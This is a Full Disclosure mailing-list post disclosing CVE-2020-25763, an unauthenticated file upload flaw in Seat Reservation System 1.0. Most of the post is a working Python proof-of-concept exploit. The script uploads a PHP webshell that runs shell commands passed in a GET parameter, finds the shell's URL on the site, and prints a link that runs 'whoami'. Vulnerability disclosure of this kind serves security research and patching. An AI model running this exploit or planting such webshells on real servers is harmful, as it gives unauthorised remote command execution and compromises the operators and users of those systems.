full-disclosure - [FD] Seat Reservation System 1.0 Unauthenticated Remote Code Execution (CVE-2020-25763)

Open Source and information security mailing list archives

Date: Fri, 18 Sep 2020 22:15:25 -0400
From: Ava Tester One <avatesterone@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Seat Reservation System 1.0 Unauthenticated Remote Code
	Execution (CVE-2020-25763)

Seat Reservation System version 1.0 suffers from an Unauthenticated File
Upload Vulnerability allowing Remote Attackers to gain Remote Code
Execution (RCE) on the Hosting Webserver via uploading PHP files.

Vendor Homepage: www.sourcecodester.com
Software Link:
https://www.sourcecodester.com/sites/default/files/download/oretnom23/seat-reservation-system-using-php_0.zip

Author: Rahul Ramkumar

Date: 2020-09-16

CVE: CVE-2020-25763

PoC:
-------
# Exploit Title: Seat Reservation System 1.0 - Unauthenticated Remote Code
Execution
import requests, sys, urllib, re
from lxml import etree
from io import StringIO
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
import random
import string

def print_usage(STRING):
    return Style.BRIGHT+Fore.YELLOW+STRING+Fore.RESET

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print print_usage("Usage:\t\t python %s <WEBAPP_URL>" % sys.argv[0])
        print print_usage("Example:\t python %s '
https://192.168.1.72:443/seat_reservation/'" % sys.argv[0])
        sys.exit(-1)
    SERVER_URL = sys.argv[1]
    UPLOAD_DIR = 'admin/ajax.php?action=save_movie'
    UPLOAD_URL = SERVER_URL + UPLOAD_DIR
    random = ''.join([random.choice(string.ascii_letters + string.digits)
for n in xrange(16)])
    webshell = random+'.php'

    s = requests.Session()
    s.get(SERVER_URL, verify=False)
    image     = {
                'cover':
                  (
                    webshell,
                    '<?php echo shell_exec($_GET["d3crypt"]); ?>',
                    'application/php',
                    {'Content-Disposition': 'form-data'}
                  )
              }
    fdata   = {'id':
'','title':'Shelling','description':'','duration_hour':'3','duration_min':'0','date_showing':'2020-01-01','end_date':'2040-09-25'}
    r1 = s.post(url=UPLOAD_URL, files=image, data=fdata, verify=False)
    r2 = s.get(SERVER_URL, verify=False)
    response_page = r2.content.decode("utf-8")
    parser = etree.HTMLParser()
    tree = etree.parse(StringIO(response_page), parser=parser)
    def get_links(tree):
        refs = tree.xpath("//img")
        links = [link.get('src', '') for link in refs]
        return [l for l in links]

    links = get_links(tree)
    print('Access your webshell at: ')
    for link in links:
        if webshell in link:
            print(SERVER_URL + link+'?d3crypt=whoami')

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives